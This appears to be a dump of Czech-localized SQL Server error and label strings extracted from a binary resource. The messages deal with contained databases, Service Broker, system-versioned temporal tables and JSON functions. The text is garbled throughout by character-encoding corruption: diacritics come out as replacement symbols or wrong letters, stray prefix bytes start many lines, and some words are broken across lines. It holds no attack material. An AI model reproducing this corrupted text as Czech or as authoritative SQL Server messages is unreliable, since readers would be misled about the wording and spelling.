dPY�kaz RECONFIGURE se nezdaYil. Pokus o zmnu hodnoty ovYov�n� datab�ze s omezen�m na hodnotu 0, existuj�-li datab�ze s omezen�m, vy~aduje pY�kaz RECONFIGURE WITH OVERRIDE.

Proceduru sp_migrate_user_to_contained nelze pou~�t v nezahrnut� datab�zi (datab�zi s klauzul� CONTAINMENT nastavenou na hodnotu NONE).

�Proceduru sp_migrate_user_to_contained nelze pou~�t s u~ivatelem s heslem 
i typem u~ivatele jin�m ne~ SQL Login.

�Proceduru sp_migrate_user_to_contained nelze pou~�t pro u~ivatele pou~it�ho v klauzuli EXECUTE AS podepsan�ho modulu.

�Proceduru sp_migrate_user_to_contained nejde pou~�t ke zkop�rov�n� hesla do dY�vja�ho hashovac�ho algoritmu.

�Procedura sp_migrate_user_to_contained nemo~e naj�t pYihl�aen� pro u~ivatele %1!s!.

�Aby %1!s! byla datab�z� s omezen�m, hodnota procedury sp_configure ovYov�n� datab�ze s omezen�m mus� b�t nastavena na hodnotu 1. Chcete-li nastavit mo~nost value_in_use, mo~e b�t nutn� pou~�t pY�kaz RECONFIGURE.

�PY�kaz RECONFIGURE WITH OVERRIDE nastavil ovYov�n� datab�ze s omezen�m na hodnotu 0, pYesto~e jsou nkter� datab�ze s omezen�m pou~�v�ny. Tato akce narua� ovYov�n� u~ivatelo s omezen�m a neumo~n� vytv�Yet nov� datab�ze s omezen�m.

,Omezen� %2!s! s u~ivatelsk�m n�zvem %1!s! nen� pro do
asnou tabulku %3!s! povoleno, proto~e je vytv�Yeno v datab�zi s omezen�m. Dala� informace o datab�z�ch s omezen�m najdete v t�matu Principy datab�z� s omezen�m (Understanding Contained Databases) v t�matu Knihy online.

�Na u~ivatelem definovan� objekty %1!s!  %2!s!  v datab�zi tempdb nelze odkazovat z m�stn� do
asn� tabulky %3!s!, proto~e do
asn� tabulka je vytv�Yena v datab�zi s omezen�m. Dala� informace o datab�z�ch s omezen�m naleznete v t�matu Principy datab�z� s omezen�m (Understanding Contained Databases) na webu Knihy online.

PUlo~en� procedura %1!s! odkazuje na skupinu 
�slovan�ch ulo~en�ch procedur. �slovan� ulo~en� procedury nejsou v datab�z�ch s omezen�m dostupn�. Dala� informace o datab�z�ch s omezen�m naleznete v t�matu Principy datab�z� s omezen�m (Understanding Contained Databases) na webu Knihy online.

Nastaven� u~ivatelsk�ch mo~nost� sp_configure musej� m�t hodnotu nula, pokud datab�zov� stroj obsahuje datab�ze s omezen�m.

`Datab�ze %1!s! je datab�ze s omezen�m. Nastaven� mo~nosti ovYov�n� datab�ze s omezen�m m� hodnotu 0. U~ivatel� s heslem se nebudou moci pYihl�sit k datab�z�m s omezen�m.

TDatab�zi %1!s! nelze vytvoYit 
i zmnit na datab�zi s omezen�m, proto~e se sch�matem sv�zan� objekty %2!s!  %3!s!  z�vis� na pYeddefinovan� funkci %4!s!. V datab�zi s omezen�m se v�stupn� kolace t�to vestavn� funkce zmnila na %5!s!, kter� je odlian� od kolace pou~it� v datab�zi bez omezen�.

PDatab�zi %1!s! nelze vytvoYit 
i zmnit na datab�zi s omezen�m, proto~e kontrola omezen� %2!s! pro tabulku %3!s! z�vis� na pYeddefinovan� funkci %4!s!. V datab�zi s omezen�m se v�stupn� kolace t�to vestavn� funkce zmnila na %5!s!, kter� je odlian� od kolace pou~it� v datab�zi bez omezen�.

`Datab�zi %1!s! nelze vytvoYit 
i zmnit na datab�zi s omezen�m, proto~e po
�tan� sloupec %2!s! pro objekt %3!s!  %4!s!  z�vis� na pYeddefinovan� funkci %5!s!. V datab�zi s omezen�m se v�stupn� kolace t�to vestavn� funkce zmnila na %6!s!, kter� je odlian� od kolace pou~it� v datab�zi bez omezen�.

\PY�kaz ALTER DATABASE se nezdaYil. Nelze zmnit mo~nost zahrnut� datab�ze %1!s!, proto~e pYi ovYov�n� modulo SQL doalo k chyb�m kompilace. Zkontrolujte pYedchoz� chyby.

XPY�kaz CREATE DATABASE se nezdaYil. Nelze vytvoYit datab�zi s omezen�m %1!s!, proto~e pYi ovYov�n� modulo SQL doalo k chyb�m kompilace. Zkontrolujte pYedchoz� chyby.

�Funkce replikace, Change Data Capture a Change Tracking nejsou v datab�z�ch s omezen�m podporov�ny. Datab�zi %1!s! nejde zmnit na datab�zi s omezen�m, proto~e m� jednu z tchto funkc� zapnutou.

DFunkce replikace, Change Data Capture a Change Tracking nejsou v datab�z�ch s omezen�m podporov�ny. Tuto mo~nost nejde povolit pro datab�zi s omezen�m %1!s!.

8PY�kaz CREATE DATABASE se nezdaYil. Optovn� kolace datab�ze se nezdaYila pYi vytv�Yen� 
�ste
n omezen� datab�ze %1!s! s v�choz�mi daty kolace %2!s!.

�PY�kaz ALTER DATABASE se nezdaYil. Optovn� kolace datab�ze se nezdaYila pYi zmn datab�ze %1!s! na zahrnut� %2!s!.

,Klauzuli COLLATE CATALOG_DEFAULT nelze pou~�t v omezen�, po
�tan�m sloupci, v�razu filtru indexu ani v libovoln�m objektu sv�zan�m se sch�matem.

�Stav zahrnut� datab�ze %1!s! se neshoduje s hodnotou v pYedloze. Funkce zahrnut� datab�ze nebudou pracovat o
ek�van�m zposobem. Chcete-li opravit stav datab�ze v pYedloze, odpojte a opt pYipojte datab�zi.

�PY�kaz ALTER DATABASE selhal. Tato funkce nen� v aktu�ln� edici SQL Serveru k dispozici.

�PY�kaz CREATE DATABASE selhal. Nejde zadat sou
asn CONTAINMENT = PARTIAL a CATALOG_COLLATION.

�Ur
ete polo~ky protokolu zad�n�m parametru %1!s! nebo %2!s!.

�PYi vytv�Yen� d�l
�ho pl�nu je potYeba zadat parametr %1!s!.

�Ur
ete pl�n nebo d�l
� pl�n ke spuatn� zad�n�m parametru %1!s! nebo %2!s!.

$n�zev souboru

audit

0specifikace auditu

$n�zev auditu

$role serveru

@objekt zabezpe
en� serveru

$spustit jako

(symetrick� kl�


0objekt zabezpe
en�

4popisova
 zabezpe
en�

,hypotetick� index

4neclusterovan� index

povYen�

,asymetrick� kl�


$funkce odd�lu

$sch�ma odd�lu

aifrov�n�

podpis

heslo

$pYejmenov�n�

,ukon
en� dialogu

@END CONVERSATION WITH ERROR

,MOVE CONVERSATION

Ddoru
en� sekvencovan� zpr�vy

Ddoru
en� ukon
en� konverzace

Tdoru
en� ukon
en� konverzace s chybou

Ldoru
en� chyby zprostYedkovatele

<doru
en� zpr�vy potvrzen�

0ukon
en� konverzace

8chyba zprostYedkovatele

0potvrzovac� podpis

<BEGIN CONVERSATION TIMER

Daktivace 
asova
e konverzace

DEND CONVERSATION WITH CLEANUP

<BEGIN DIALOG CONVERSATION

SEND

 konverzace

0konverza
n� skupina

syst�m

(Service Broker

0zrcadlen� datab�ze

4popisova
 konverzace

8GET CONVERSATION GROUP

 hlavn� kl�


�v aktu�ln� datab�zi se ji~ nach�z� sestaven� se shodn�m n�zvem SQL

pneshoda verze, jazykov� verze nebo veYejn�ho kl�
e

$kompilace IL

4datov� pY�stup Inproc

 operace DDL

Dspuatn� vy
iatn� mezipamti

8nespecifikovan� operace

dialog

4aifrovac� algoritmus

0ovYovac� protokol

Dzna
ka aifrovac�ho algoritmu

n�zev

4kryptografick� otisk

Dd�lka inicializa
n�ho vektoru

$bitov� d�lka

omezen�

8aifrovac� kl�
 datab�ze

$z�znam kotvy

(slovn�k str�nek

Hstruktura informac� o kompresi

�Do
asn� sloupec generated always %1!s! m� neplatn� datov� typ.

�Tabulka se syst�movou spr�vou verz� mo~e m�t maxim�ln jeden sloupec GENERATED ALWAYS AS ROW START.

�Tabulka se syst�movou spr�vou verz� mo~e m�t maxim�ln jeden sloupec GENERATED ALWAYS AS ROW END.

�Chyb� definice do
asn�ho sloupce GENERATED ALWAYS AS ROW START.

�Chyb� definice do
asn�ho sloupce GENERATED ALWAYS AS ROW END.

$N�zev sloupce za
�tku definice obdob� tabulky SYSTEM_TIME se syst�movou spr�vou verz� neodpov�d� n�zvu sloupce GENERATED ALWAYS AS ROW START.

N�zev sloupce konce definice obdob� tabulky SYSTEM_TIME se syst�movou spr�vou verz� neodpov�d� n�zvu sloupce GENERATED ALWAYS AS ROW END.

�Tabulka se syst�movou spr�vou verz� mo~e m�t maxim�ln jednu definici obdob� SYSTEM_TIME.

�Pokud nen� definovan� obdob� SYSTEM_TIME, nejde vytvoYit sloupec generated always.

�Pokud nen� definovan� obdob� SYSTEM_TIME, nejde mo~nost SYSTEM_VERSIONING nastavit na hodnotu ON.

|Zadan� objekt %1!s! nejde pou~�vat jako tabulku historie.

|Klauzuli SYSTEM_VERSIONING mo~ete zadat maxim�ln jednou.

�Sloupce obdob� SYSTEM_TIME nemo~ou m�t odlianou pYesnost datov�ho typu.

TTabulka historie %1!s! se u~ pou~�v�.

�Nastaven� mo~nosti SYSTEM_VERSIONING na hodnotu ON selhalo, proto~e tabulka historie %1!s! m� nadefinovan� vlastn� jedine
n� kl�
e. Doporu
ujeme vaechny jedine
n� kl�
e odstranit a zkusit to znovu.

pNastaven� mo~nosti SYSTEM_VERSIONING na hodnotu ON selhalo, proto~e tabulka historie %1!s! m� nadefinovan� ciz� kl�
e. Doporu
ujeme vaechny ciz� kl�
e odstranit a zkusit to znovu.

�Nastaven� mo~nosti SYSTEM_VERSIONING na hodnotu ON selhalo, proto~e tabulka historie %1!s! m� nadefinovan� omezen� tabulky nebo sloupce. Doporu
ujeme odstranit vaechna omezen� tabulek a sloupco a zkusit to znovu.

�Nastaven� mo~nosti SYSTEM_VERSIONING na hodnotu ON selhalo, proto~e tabulka historie %1!s! m� specifikaci sloupce IDENTITY. Doporu
ujeme vaechny specifikace sloupce IDENTITY odstranit a zkusit to znovu.

�Nastaven� mo~nosti SYSTEM_VERSIONING na hodnotu ON selhalo, proto~e tabulka historie %1!s! m� specifikaci po
�tan�ho sloupce. Doporu
ujeme vaechny specifikace po
�tan�ho sloupce odstranit a zkusit to znovu.

DNastaven� mo~nosti SYSTEM_VERSIONING na hodnotu ON selhalo, proto~e tabulka historie %1!s! nen� dostupn� nebo je ve skupin souboro ur
en�ch jenom pro 
ten�.

�Nastaven� mo~nosti SYSTEM_VERSIONING na hodnotu ON selhalo, proto~e tabulka historie %1!s! je nakonfigurovan� pro funkci Change Data Capture. Doporu
ujeme tuto konfiguraci zahodit a zkusit to znovu.

�Nastaven� mo~nosti SYSTEM_VERSIONING na hodnotu ON selhalo, proto~e tabulka historie %1!s! m� nadefinovan� aktiva
n� ud�losti. Doporu
ujeme vaechny aktiva
n� ud�losti odstranit a zkusit to znovu.

HNastaven� mo~nosti SYSTEM_VERSIONING na hodnotu ON selhalo, proto~e tabulka %1!s! m� tento po
et sloupco: %2!s! a tabulka %3!s! m� tento po
et sloupco: %4!s!.

�Nastaven� mo~nosti SYSTEM_VERSIONING na hodnotu ON selhalo, proto~e sloupec %1!s! na poYadov�m m�st %2!s! v tabulce historie %3!s! m� jin� n�zev ne~ sloupec %4!s! na stejn�m poYadov�m m�st v tabulce %5!s!.

�Nastaven� mo~nosti SYSTEM_VERSIONING na hodnotu ON selhalo, proto~e sloupec %1!s! m� v tabulce historie %3!s! datov� typ %2!s!, kter� se lia� od odpov�daj�c�ho typu sloupce %4!s! v tabulce %5!s!.

Nastaven� mo~nosti SYSTEM_VERSIONING na hodnotu ON selhalo, proto~e sloupec %1!s! nem� v tabulk�ch %2!s! a %3!s! stejnou kolaci.

Nastaven� mo~nosti SYSTEM_VERSIONING na hodnotu ON selhalo, proto~e sloupec %1!s! nem� v tabulk�ch %2!s! a %3!s! stejn� typ CLR.

,Nastaven� mo~nosti SYSTEM_VERSIONING na hodnotu ON selhalo, proto~e sloupec %1!s! nem� v tabulk�ch %2!s! a %3!s! stejnou s�mantiku oY�znut� ANSI.

(Nastaven� mo~nosti SYSTEM_VERSIONING na hodnotu ON selhalo, proto~e sloupec %1!s! nem� v tabulk�ch %2!s! a %3!s! stejnou kolekci sch�matu XML.

�Nastaven� mo~nosti SYSTEM_VERSIONING na hodnotu ON selhalo, proto~e syst�mov� sloupec %1!s! v tabulce historie %2!s! odpov�d� sloupci obdob� v tabulce %3!s! a nemo~e povolovat hodnotu null.

\Nastaven� mo~nosti SYSTEM_VERSIONING na hodnotu ON selhalo, proto~e sloupec %1!s! nem� v tabulk�ch %2!s! a %3!s! stejnou hodnotu atributu mo~nosti pou~it� hodnoty null.

Nastaven� mo~nosti SYSTEM_VERSIONING na hodnotu ON selhalo, proto~e tabulky se syst�movou spr�vou verz� nemo~ou m�t sloupce FILESTREAM.

4Nastaven� mo~nosti SYSTEM_VERSIONING na hodnotu ON selhalo, proto~e sloupec %1!s! nem� v tabulk�ch %2!s! a %3!s! stejn� atribut zhuatn�ho �lo~iat.

,Nastaven� mo~nosti SYSTEM_VERSIONING na hodnotu ON selhalo, proto~e sloupec %1!s! v tabulk�ch %2!s! a %3!s! nem� stejnou vlastnost sady sloupco.

LSelhala �prava dat pro tabulku %1!s! se syst�movou spr�vou verz�, proto~e 
as transakce byl dY�vja� ne~ po
�te
n� 
as obdob� pro z�znamy, na kter� to mlo vliv.

�Do sloupce GENERATED ALWAYS nejde vlo~it explicitn� hodnotu v tabulce %1!s!. Pomoc� pY�kazu INSERT mo~ete sloupec GENERATED ALWAYS ze seznamu sloupco vylou
it nebo mo~ete do sloupce GENERATED ALWAYS vlo~it hodnotu DEFAULT.

�Nen� mo~n� aktualizovat sloupce GENERATED ALWAYS v tabulce %1!s!.

hNem�te potYebn� opr�vnn� k dokon
en� operace.

Nastaven� mo~nosti SYSTEM_VERSIONING na hodnotu ON selhalo, proto~e tabulka historie %1!s! nen� uveden� ve form�tu n�zvu se dvma 
�stmi.

@Nastaven� mo~nosti SYSTEM_VERSIONING na hodnotu ON selhalo, proto~e tabulka %1!s! obsahuje neplatn� z�znamy s koncem obdob� nastaven�m pYed jeho za
�tkem.

PNastaven� mo~nosti SYSTEM_VERSIONING na hodnotu ON selhalo, proto~e tabulka historie %1!s! obsahuje neplatn� z�znamy s koncem obdob� nastaven�m pYed jeho za
�tkem.

,PY�kaz ADD PERIOD FOR SYSTEM_TIME pro tabulku %1!s! selhal, proto~e jsou otevYen� z�znamy se za
�tkem obdob� nastaven�m na hodnotu v budoucnosti.

\Nastaven� mo~nosti SYSTEM_VERSIONING na hodnotu ON selhalo, proto~e tabulka historie %1!s! obsahuje neplatn� z�znamy s koncem obdob� nastaven�m na hodnotu v budoucnosti.

0Do
asnou klauzuli FOR SYSTEM_TIME je mo~n� pou~�vat jedin s tabulkami se syst�movou spr�vou verz�. %1!s! nen� tabulka se syst�movou spr�vou verz�.

�Operace truncate pro tabulku %1!s! selhala, proto~e to nen� podporovan� operace pro tabulky se syst�movou spr�vou verz�.

�PYepnut� na odd�l v tabulce %1!s! selhalo, proto~e to v tabulk�ch se syst�movou spr�vou verz� nen� podporovan� operace. Doporu
ujeme mo~nost SYSTEM_VERSIONING nastavit na hodnotu OFF a zkusit to znovu.

�PYepnut� na odd�l v tabulce historie %1!s! selhalo, proto~e to v tabulk�ch se syst�movou spr�vou verz� nen� podporovan� operace. Doporu
ujeme mo~nost SYSTEM_VERSIONING nastavit na hodnotu OFF a zkusit to znovu.

4Pro sloupec %1!s! tabulky %2!s! nen� mo~n� prov�st pY�kaz ALTER, proto~e to u do
asn�ch tabulek se syst�movou spr�vou verz� nen� podporovan� operace.

,Nastaven� mo~nosti FILESTREAM ON pro tabulku %1!s! selhalo, proto~e to u do
asn�ch tabulek se syst�movou spr�vou verz� nen� podporovan� operace.

Operace pYid�n� sloupce pro tabulku %1!s! selhala, proto~e to u do
asn�ch tabulek se syst�movou spr�vou verz� nen� podporovan� operace.

 Operace odstrann� sloupce pro tabulku %1!s! selhala, proto~e to u do
asn�ch tabulek se syst�movou spr�vou verz� nen� podporovan� operace.

 Operace odstrann� tabulky pro tabulku %1!s! selhala, proto~e to u do
asn�ch tabulek se syst�movou spr�vou verz� nen� podporovan� operace.

�Do
asn� tabulka %1!s! se syst�movou spr�vou verz� mus� m�t definovan� prim�rn� kl�
.

�Pameov optimalizovan� tabulka %1!s! nemo~e obsahovat definici system-time PERIOD.

�Do
asn� tabulka %1!s! se syst�movou spr�vou verz� nemo~e m�t sloupce FILESTREAM.

�Tabulka %1!s! je tabulka souboro (FileTable). Pro tabulky souboro nen� mo~n� pou~�vat syst�movou spr�vu verz�.

�Nejde odstranit omezen� PRIMARY KEY z do
asn� tabulky %1!s! se syst�movou spr�vou verz�.

�Nejde pYidat omezen� PRIMARY KEY do do
asn� tabulky historie %1!s!.

xDo do
asn� tabulky historie %1!s! nejdou vlo~it Y�dky.

|Z do
asn� tabulky historie %1!s! nejdou odstranit Y�dky.

�V do
asn� tabulce historie %1!s! nejdou aktualizovat Y�dky.

�Pro do
asnou tabulku historie %1!s! nejde prov�st operaci MERGE.

�Zapnut� sledov�n� zmn pro do
asnou tabulku historie %1!s! nen� povolen�.

�PYid�n� omezen� CHECK do do
asn� tabulky historie %1!s! nen� povolen�.

�Ciz� kl�
 %1!s! nen� platn�. V definici ciz�ho kl�
e nejde pou~�t do
asnou tabulku historie.

dDo
asn� tabulka historie %1!s! se u~ pou~�v�.

�Do
asnou tabulku historie %1!s! nejde vytvoYit v datab�zi tempdb.

�Do
asnou tabulku historie %1!s! se syst�movou spr�vou verz� nejde vytvoYit v datab�zi tempdb.

�Nejde vytvoYit aktiva
n� ud�lost pro do
asnou tabulku %1!s! se syst�movou spr�vou verz�.

�Pou~it� replikace nen� pro do
asnou tabulku %1!s! se syst�movou spr�vou verz� podporovan�.

�Zapnut� funkce Change Data Capture nen� pro do
asnou tabulku historie %1!s! povolen�.

�Vytv�Yen� promnn�ch tabulek, kter� obsahuj� mo~nost PERIOD, nen� povolen�.

Nastaven� mo~nosti SYSTEM_VERSIONING na hodnotu ON selhalo, proto~e tabulka historie %1!s! obsahuje pYekr�vaj�c� se z�znamy.

Nastaven� mo~nosti SYSTEM_VERSIONING na hodnotu ON selhalo, proto~e do
asn� tabulka historie %1!s! obsahuje obdob� SYSTEM_PERIOD.

@PY�kaz ADD PERIOD FOR SYSTEM_TIME selhal, proto~e tabulka %1!s! obsahuje z�znamy, kde se konec obdob� nerovn� maxim�ln� hodnot data a 
asu (MAX datetime).

�Operace DML nejsou povolen�, proto~e do
asn� tabulka %1!s! se syst�movou spr�vou verz� je v re~imu jen pro 
ten�.

 PY�kaz ALTER TABLE SWITCH pro tabulku %1!s! selhal, proto~e c�lov� tabulka m� obdob� SYSTEM_TIME PERIOD, zat�mco zdrojov� tabulka nikoliv.

PY�kaz ALTER TABLE SWITCH pro tabulku %1!s! selhal, proto~e c�lov� a zdrojov� tabulka m� jinou definici SYSTEM_TIME PERIOD.

 Nastaven� mo~nosti SYSTEM_VERSIONING na hodnotu ON selhalo, proto~e sloupec %1!s! nepou~�v� v tabulk�ch %2!s! a %3!s! identick� aifrov�n�.

�Nastaven� mo~nosti SYSTEM_VERSIONING na hodnotu ON selhalo, proto~e tabulka historie %1!s! m� specifikaci sloupce ROWGUID. Doporu
ujeme vaechny specifikace sloupce ROUWGUID odstranit a zkusit to znovu.

Nastaven� mo~nosti SYSTEM_VERSIONING na hodnotu ON selhalo, proto~e sloupec %1!s! nem� v tabulk�ch %2!s! a %3!s! stejn� funkce maskov�n�.

Nastaven� mo~nosti SYSTEM_VERSIONING na hodnotu ON selhalo, proto~e tabulka %1!s! m� FOREIGN KEY s kask�dov�m DELETE nebo UPDATE.

�Nejde pYidat omezen� UNIQUE KEY do do
asn� tabulky historie %1!s!.

�Vypr�zdnn� tabulky se neprovedlo, proto~e odpov�daj�c� z�mek nejde z�skat nebo u~ neexistuje.

�Po
�tan� sloupec je definovan� pomoc� u~ivatelsky definovan� funkce, co~ nen� v tabulce %1!s! se syst�movou spr�vou verz� povolen�, proto~e pYistupuje k u~ivatelsk�m nebo syst�mov�m datom nebo se pYedpokl�d�, ~e se o tento pY�stup pokus�. U funkce se ve v�choz�m nastaven� pYedpokl�d� pY�stup k datom, pokud nen� v�zan� na sch�ma.

�Do
asnou klauzuli FOR SYSTEM_TIME nejde pou~�t pro vzd�len� zdroj dat %1!s!.

�Sloupec obdob� %1!s! v do
asn� tabulce se syst�movou spr�vou verz� nemo~e povolovat hodnotu null.

�Sloupec %1!s! v tabulce %2!s! nejde odstranit, proto~e je sou
�st� definice obdob�.

�Sloupec %1!s! v tabulce %2!s! nejde zadat jako GENERATED ALWAYS v pY�kazu ALTER COLUMN.

,Do
asnou klauzuli FOR SYSTEM_TIME je mo~n� pro do
asnou tabulku nastavit jenom jednou. %1!s! m� v�c ne~ jednu do
asnou klauzuli FOR SYSTEM_TIME.

�Mo~nost SYSTEM_VERSIONING nem� pro tabulku %1!s! nastavenou hodnotu ON.

�Pokud je mo~nost SYSTEM_VERSIONING nastaven� na hodnotu ON, nejde odstranit obdob� SYSTEM_TIME z tabulky %1!s!.

�Obdob� SYSTEM_TIME nejde z tabulky %1!s! odstranit, proto~e obdob� SYSTEM_TIME neexistuje.

pTabulka %1!s! neobsahuje obdob� SYSTEM_TIME %2!s!.

�N�zev do
asn� tabulky historie %1!s! nen� pro aktu�ln� tabulku %2!s! spr�vn�.

�Mo~nost SYSTEM_VERSIONING u~ m� pro tabulku %1!s! nastavenou hodnotu ON.

�Do
asn� obdob� SYSTEM_TIME u~ je pro tabulku %1!s! definovan�.

�Do
asn� obdob� SYSTEM_TIME nejde pro tabulku historie %1!s! definovat.

�Sloupec obdob� %1!s! v do
asn� tabulce se syst�movou spr�vou verz� nejde zmnit.

HKlauzule FOR JSON AUTO vy~aduje aspoH jednu tabulku pro generov�n� objekto JSON. Pou~ijte klauzuli FOR JSON PATH nebo pYidejte klauzuli FROM s n�zvem tabulky.

\Vlastnost %1!s! nejde generovat ve v�stupu JSON kvoli konfliktu s jin�m n�zvem sloupce nebo aliasem. Pou~ijte odlian� n�zvy a aliasy pro ka~d� sloupec v seznamu SELECT.

lV pY�kazu %1!s! nen� povolen� klauzule FOR JSON.

�Vlastnost %1!s! nejde vygenerovat ve v�stupu JSON kvoli neplatn�mu znaku v n�zvu sloupce nebo v aliasu. Aliasy nebo n�zvy sloupco obsahuj�c� dv te
ky (..), te
ku na za
�tku nebo te
ku na konci nejsou v dotazech s klauzul� FOR JSON povolen�.

Dotaz FOR JSON nemo~e serializovat objekty CLR. PYetypujte typy CLR explicitn na jeden z typo podporovan�ch v dotazech FOR JSON.

`Sloupcov� v�razy a zdroje dat bez n�zvo nebo aliaso nejdou form�tovat jako text JSON pro pou~it� s klauzul� FOR JSON. PYidejte k nepojmenovan� tabulce nebo sloupci alias.

�Text JSON, kter� m� v�ce ne~ 128 vnoYen�ch �rovn�, nejde analyzovat.

�Cesta JSON nen� spr�vn naform�tovan�. Na pozici %2!s! je neo
ek�van� znak  %1!s! .

lVlastnost se v zadan� cest JSON nepovedlo naj�t.

�Text JSON nen� spr�vn naform�tovan�. Na pozici %2!s! je neo
ek�van� znak  %1!s! .

xArgument %1!s! funkce %2!s! mus� b�t Yetzcov� liter�l.

�Hodnota odkazovan� v cest JSON nen� pole nebo objekt a nejde otevY�t pomoc� pY�kazu OPENJSON.

�Xetzcovou hodnotu z textu JSON nejde pYev�st na bin�rn� form�t, proto~e nen� v k�dov�n� base64.

�Xetzec s�k�dov�n�m Base64 nejde pYev�st na bin�rn� hodnotu. Bin�rn� data by byla zkr�cen�.

8Typ TEXT, NTEXT, SQL_VARIANT nebo IMAGE nejde ve funkci OPENJSON s�explicitn�m sch�matem pou~�t jako typ sloupce. Tyto typy nepodporuje klauzule WITH.

Funkce OPENJSON nemo~e pYev�st hodnotu nalezenou v textu JSON na datov� typ sql_variant. Hodnota nalezen� v textu JSON by se zkr�tila.

�Typy CLR nejdou pou~�t ve funkci OPENJSON s�explicitn�m sch�matem jako typ sloupce. Typy CLR nepodporuje klauzule WITH.

Ve funkci OPENJSON s�explicitn�m sch�matem nejde pou~�t tabulkov� typy jako typ sloupce. Tyto typy nepodporuje klauzule WITH.

�Parametr AS JSON je mo~n� v klauzuli WITH zadat jenom pro sloupec typu nvarchar(max).

�V argumentu %1!s! pY�kazu JSON_MODIFY je nepodporovan� cesta JSON.

�Mo~nosti ROOT a WITHOUT_ARRAY_WRAPPER nejdou pro FOR JSON pou~�t spole
n. OdstraHte jednu z nich.

dPole se v zadan� cest JSON nepovedlo naj�t.

TArgument %1!s! m� neplatnou hodnotu.

|Skal�rn� hodnotu se v zadan� cest JSON nepovedlo naj�t.

|Objekt nebo pole se v zadan� cest JSON nepovedlo naj�t.

tXetzcov� hodnota v zadan� cest JSON by se zkr�tila.

�OPENJSON nemo~e m�t v klauzuli WITH v�c ne~ %1!s! sloupco.

�Zmna sch�matu tabulky se syst�movou spr�vou verz� se nepovedla, proto~e tabulka historie %1!s! m� definovan� vlastn� jedine
n� kl�
e. Doporu
ujeme odstranit vaechny jedine
n� kl�
e a zkusit to znovu.

xZmna sch�matu tabulky se syst�movou spr�vou verz� se nepovedla, proto~e tabulka historie %1!s! m� definovan� ciz� kl�
e. Doporu
ujeme odstranit vaechny ciz� kl�
e a zkusit to znovu.

�Zmna sch�matu tabulky se syst�movou spr�vou verz� se nepovedla, proto~e tabulka historie %1!s! m� definovan� omezen� sloupce nebo tabulky. Doporu
ujeme odstranit vaechna omezen� sloupce a tabulky a zkusit to znovu.

�Zmna sch�matu tabulky se syst�movou spr�vou verz� se nepovedla, proto~e tabulka historie %1!s! obsahuje specifikaci sloupce IDENTITY. Doporu
ujeme odstranit vaechny specifikace sloupce IDENTITY a zkusit to znovu.

�Zmna sch�matu tabulky se syst�movou spr�vou verz� se nepovedla, proto~e tabulka historie %1!s! obsahuje specifikaci vypo
�tan�ho sloupce. Doporu
ujeme odstranit vaechny specifikace vypo
�tan�ho sloupce a zkusit to znovu.

LZmna sch�matu tabulky se syst�movou spr�vou verz� se nepovedla, proto~e tabulka historie %1!s! nen� dostupn� nebo je um�stn� ve skupin souboro jen pro 
ten�.

�Zmna sch�matu tabulky se syst�movou spr�vou verz� se nepovedla, proto~e tabulka historie %1!s! je nakonfigurovan� pro funkci Change Data Capture. Doporu
ujeme tuto konfiguraci zahodit a zkusit to znovu.

�Zmna sch�matu tabulky se syst�movou spr�vou verz� se nepovedla, proto~e tabulka historie %1!s! m� definovan� aktiva
n� ud�losti. Doporu
ujeme odstranit vaechny aktiva
n� ud�losti a zkusit to znovu.

Zmna sch�matu tabulky se syst�movou spr�vou verz� se nepovedla, proto~e tabulka %1!s! m� %2!s! sloupco a tabulka %3!s! m� %4!s! sloupco.

�Zmna sch�matu tabulky se syst�movou spr�vou verz� se nepovedla, proto~e sloupec %1!s! na poYadov�m m�st %2!s! v tabulce historie %3!s! m� jin� n�zev ne~ sloupec %4!s! na stejn�m poYadov�m m�st v tabulce %5!s!.

�Zmna sch�matu tabulky se syst�movou spr�vou verz� se nepovedla, proto~e sloupec %1!s! m� v tabulce historie %3!s! datov� typ %2!s!, kter� se lia� od odpov�daj�c�ho typu sloupce %4!s! v tabulce %5!s!.

Zmna sch�matu tabulky se syst�movou spr�vou verz� se nepovedla, proto~e sloupec %1!s! nem� v tabulk�ch %2!s! a %3!s! stejnou kolaci.

Zmna sch�matu tabulky se syst�movou spr�vou verz� se nepovedla, proto~e sloupec %1!s! nem� v tabulk�ch %2!s! a %3!s! stejn� typ CLR.

8Zmna sch�matu tabulky se syst�movou spr�vou verz� se nepovedla, proto~e sloupec %1!s! nem� v tabulk�ch %2!s! a %3!s! stejnou s�mantiku oY�znut� ANSI.

0Zmna sch�matu tabulky se syst�movou spr�vou verz� se nepovedla, proto~e sloupec %1!s! nem� v tabulk�ch %2!s! a %3!s! stejnou kolekci sch�matu XML.

�Zmna sch�matu tabulky se syst�movou spr�vou verz� se nepovedla, proto~e syst�mov� sloupec %1!s! v�tabulce historie %2!s! odpov�d� sloupci obdob� v�tabulce %3!s! a nepovoluje hodnoty null.

PZmna sch�matu tabulky se syst�movou spr�vou verz� se nepovedla, proto~e sloupec %1!s! nem� v tabulk�ch %2!s! a %3!s! stejn� atribut mo~nosti pou~it� hodnoty null.

Zmna sch�matu tabulky se syst�movou spr�vou verz� se nepovedla, proto~e tabulky se syst�movou spr�vou verz� nemaj� sloupce FILESTREAM.

<Zmna sch�matu tabulky se syst�movou spr�vou verz� se nepovedla, proto~e sloupec %1!s! nem� v tabulk�ch %2!s! a %3!s! stejn� atribut zhuatn�ho �lo~iat.

4Zmna sch�matu tabulky se syst�movou spr�vou verz� se nepovedla, proto~e sloupec %1!s! nem� v tabulk�ch %2!s! a %3!s! stejnou vlastnost sady sloupco.

Zmna sch�matu tabulky se syst�movou spr�vou verz� se nepovedla, proto~e do
asn� tabulka historie %1!s! obsahuje obdob� SYSTEM_PERIOD.

�Po
�tan� sloupec je definovan� pomoc� u~ivatelsky definovan� funkce, co~ nen� v tabulce %1!s! se syst�movou spr�vou verz� povolen�, proto~e pYistupuje k u~ivatelsk�m nebo syst�mov�m datom nebo se pYedpokl�d�, ~e se o tento pY�stup pokus�. U funkce se ve v�choz�m nastaven� pYedpokl�d� pY�stup k datom, pokud nen� v�zan� na sch�ma.

�Zmna sch�matu tabulky se syst�movou spr�vou verz� se nepovedla, proto~e tabulka historie %1!s! obsahuje specifikaci sloupce ROWGUID. Doporu
ujeme odstranit vaechny specifikace sloupce ROWGUID a zkusit to znovu.

<Zmna sch�matu tabulky se syst�movou spr�vou verz� se nepovedla, proto~e pYid�n� vypo
�tan�ho sloupce pYi zapnut� syst�mov� spr�v verz� se nepodporuje.

(Zmna sch�matu tabulky se syst�movou spr�vou verz� se nepovedla, proto~e sloupec %1!s! nem� v tabulk�ch %2!s! a %3!s! stejn� funkce maskov�n�.

